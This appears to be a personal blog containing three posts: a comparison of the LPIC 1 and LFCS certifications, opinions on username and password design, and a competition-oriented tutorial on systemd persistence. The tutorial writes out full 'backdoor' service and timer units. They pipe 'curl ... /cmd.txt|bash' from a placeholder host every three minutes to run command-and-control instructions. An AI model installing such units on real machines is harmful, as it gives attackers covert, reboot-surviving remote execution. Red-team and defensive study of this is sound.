Linux Administration Certifications: LPIC 1 and LFCS

LPIC 1 and LFCS

TLDR; The LPIC 1 and LFCS certifications can both be used to validate your skills, however the LFCS provides a robust and uniquely hands-one, testing approach.

I recently passed the LPIC 1 (Linux Professional Institute Certified System Administrator) and LFCS (Linux Foundation Certified System Administrator) certification exams. I’m now planning to pursue the LPIC 2 and LFCE certifications this coming year. Several individuals have approached me interested in hearing more about my experiences and some of big differences between the LPIC 1 and LFCS. I’ll attempt to address those questions here and also share my opinions on the perceived value in the market place today.

Big Differences

The biggest differences between the LPIC 1 and LFCS certifications, definitely come down to the testing methods they each use. The LPIC 1 is a standard multiple choice style examination, with a few fill the blank questions. The LPIC features two exams with 50 knowledge base and practical application question, over one and half hours. The LFCS on the other hand, is a interactive practical applications exam. Wherein the tester is given 40 practical multi-step tasks, within an actual Linux terminal, with two hours to complete as many as possible.

Another major difference between the LPIC 1 and LFCS is how the testing is conducted. The two LPIC 1 exams are proctored by Pearson Vue, so they take place in your standard testing center. Since it’s a standard multiple choice exam, in a standard testing center, you will receive your test results right after completing the exam. You are scored based on whether or not you select the correct answers to the exam questions and the respective weight in each of the tested categories. The LFCS is a online exam which utilizes a web cam, a screen share, a task portal, and a live connection to a Linux system to conduct the exam. Throughout the exam you have terminal access to your own Linux virtual machine, to complete your various tasks.  The entire system is graded upon completion and delays receiving your final score. Thus your score is based on whether each step of the tasks and the tasks themselves are completed correctly. Its also rumored, that points lost on one task can be recovered on others based on the methods used, cleanliness, and overall efficiency.

Difficulty Level

The difficulty level of the LPIC 1 and LFCS is heavily debated, however I think it comes down to how you study and your experience within the Linux terminal. That being said, the LPIC 1 is largely a test of base knowledge, so if one puts forth the time and effort to review some of the coursework out there, they shouldn’t have any problem completing the exam. I honestly don’t believe your experience in the Linux terminal is going to help you out anyone more then one of the official books. The exam is all about knowing the command names and what they do. On the other hand, the LFCS exam, and its largely based on weather or not you can complete a business operations related task, in a timely manner. There is no official book for the LFCS exam, although there is online coursework which introduces you to commands and then provides lab activities for completion all on your own. Having completed all of the online course work, I believe its likely sufficient to pass the exam. However I think the real world Linux experience would be quite a bit more useful during the LFSC exam, simple because your being indirectly scored on timeliness and efficiency. Addtionally, on top of having to understand what the names of commands are and what they do, one also needs to understand how to effectively use each command to successfully pass the LFSC exam. Overall I would say the LFCS is going to be far more difficult for those newer to Linux, if only because of more intimidating structure of the exam and the review of ones efficiency.

Market Value

When it comes to the market value of the LPIC 1 and LFCS certifications, I think the total value depends on your individual goals. For instances, if your goal is to get your foot in the door at a large institution, I would recommend the LPIC 1 since it has been around longer and thus has a greater chance of being recognized by a recruiter or HR. The LPIC 1 is also going to be better if your goal is to continue on and become more specialized within the Linux space. If your goal is instead to provide validation of your skills and experience to a future or current employer I would highly recommend the LFCS. In addition to the certification being run by the Linux Foundation themselves, they now have a partnership with Microsoft. This new partnership creates a great opportunity for those working within more diverse environments, by allowing for canadits to take both Linux foundation and Microsoft certifications to become specialized in mix environments and/or cloud. Overall I think if your really trying to project your worth to the market, the LPIC 1 is a better bet, simply because its been around longer and currently has more recognize then LFCS. However, I’d bet the LFCS will soon take its place at the top, due to the growing relationships being fostered by the Linux Foundation.

Honorable Mentions

Although I have not attempted these exams, because they are distribution specific, the OCA (Oracle Certified Administrator) and the RHCSA (Red Hat Certified System Administrator) both seem to have more visibility in the market place. This is likely due to the huge brand recognition associated with these respective certifications. If your already employed with an organization that mostly utilizes either of these distributions, they may provide more bang for your buck.

Establishing Persistence with systemd.timers

With the push to covert all of our old init style processes managers to the new cutting-edge systemd, comes a whole new set of security concerns. In several recent competitions, I was able to establish persistence with systemd.timer units. Timer units are designed to run repetitive tasks on behalf of an existing service. This is normally used to establish service watchers, in case a service were to hang of crash. However, we can take advantage of this build-in core functionality to establish near-kernel level persistence with systemd.timers. As an added bonus, it’s a bit more difficult to find then a crontab and there are several tools that can convert existing crontabs to systemd.timers.

In order to take advantage of persistence with systemd.timers, we just need write access to the /etc/systemd/system/ or /usr/lib/systemd/system/ directory. With a user with write access, normally only root, we can create a service unit file and a timer unit file. Once the files are created, we can register the timer unit with systemd and it will execute our service unit, per our timer unit schedule. Timer units can even be registered with systemd to be started at boot automatically, to maintain persistence through reboots.

Example persistence with systemd.timers

To establish persistence with systemd.timers, we first need to create a service unit. In this case I created a file called /etc/systemd/system/backdoor.service, which would connect to a web server and execute a the given command.

[Unit]
Description=Backdoor

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash

Next I created a timer unit that launches my backdoor.service every 3 mins, to execute my latest CnC commands. The following is the contents of the file, /etc/systemd/system/backdoor.timer, which I used throughout the CCDC competitions.

[Unit]
Description=Runs backdoor ever 3 mins

[Timer]
OnBootSec=5min
OnUnitActiveSec=3min
Unit=backdoor.service

[Install]
WantedBy=multi-user.target

Once those two files are created within one of the systemd unit directories, we can simple establish the persistence with systemd.timer, by starting the unit timer.

systemctl start backdoor.timer

Then to ensure the timer is automatically started a boot, tell systemd to enable the timer unit at startup.

systemctl enable backdoor.timer

As far as I can tell from my research, there isn’t any easy way to detect these types of backdoors. However, in the CCDC competition space, I highly recommend running a command like the following in a screen to identify changes to timer units.

watch -d systemctl list-timers

Example persistence with Single Service Unit

The alterative is to have a single service unit that takes advantage of an exit code of 0; to continuously restart. Bellow is an example of such a service unit file, that will just restart every 3 mins and also execute our CnC command.

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash; exit 0
Restart=always
RestartSec=180

For more detailed information see the full documentation at: https://www.freedesktop.org/software/systemd/man/ or through your local man pages.

My Top Three user account design Pet Peeves

In this internet infused world we live in today, it’s not uncommon for user to have to remember several username and password permutations (please note order of characters does matter and thus it’s a permutation not a combination). That being said there are three aspects of the user account design process that really grind my gears.

User Responsibility

This aspect of user account design doesn’t seem to be talked about very often, but it is extremely important. Individuals need to take responsibility for the protection of their usernames and passwords. In fact most web based services clearly indicate as such in their User Level Agreement. That is to say, if someone gains access to your account by means of your username and password permutation, you are responsible for any and all damages. Users need to understand that they are already being held legally responsible for their login information and should take it upon themselves to protect it as if it were any other valuable piece of information.

Secret Username

I grew up online and have watched large web based service provides change their user account design practices over time. Although, most of these changes have greatly increased the general security of user accounts online, I’ve always wondered why changes were never made to user names. In fact usernames have remained almost constant in the online landscape for years. For some reason, early adopters of this authentication model decided that the username should be shared to represent a person online. I personally believe that it is important to have an online identity and that it’s your choice weather to divulge your physical identity alongside a virtual one. This should not require me to log into a web service with such an identity or handle. My username, that I use to log in, should not be public information. In fact I’m a firm believer that it should be treated as if it were a second password. After all, two things you known might not be 2 factors of authenticate, but it is two facts. Web based service provides need to allow users to create usernames that are just as advanced as their passwords. These usernames should not be made public and another method of virtual identity handling should be used. If nothing else, please please stop using email addresses for account login. Email addresses are used everywhere online and are widely known pieces of information and one need only go to the password recovery prompt to see if an email is indeed in use.

Password Complexity

Password complexity is a double edged sword and I hope to make a far more technical and detailed posting about it in the near future. However password complexity, in my mind, has only come about as a method to force users into take more reasonability for their passwords. In a perfect world, a password of all lower case letters or all numbers would be just as difficult to decipher as a password that uses a range of characters. That is to say, if users were truly random in their character selections, the user who chose a password of 33784091 would be just as secure as the user who choose L(k&6hlY, because the available character space did not change. However users are not random and in fact are rather predictable. So our solution is to create a list of rules that a user must follow in order to use a service. This forces a user to create a password that is hopefully harder to guess and crack, but in my experience neither case really holds true. These rules restrict the user by reducing the useable character space and realm of possible passwords. These restrictions alongside the added pressure of maintain a secure posture, all but forces users to reuse old passwords and create ones from common phrases. This undo stress adds predictability to the equation and is at the root of the username and password problem. My solution is a simple one, use the same methodology that is commonplace for usernames. When a user sets or changes a password don’t let them use a password that someone else is already using. In the background, just add what every passwords your organization has deemed weak to the already in use list, just as many already do for usernames deemed inappropriate.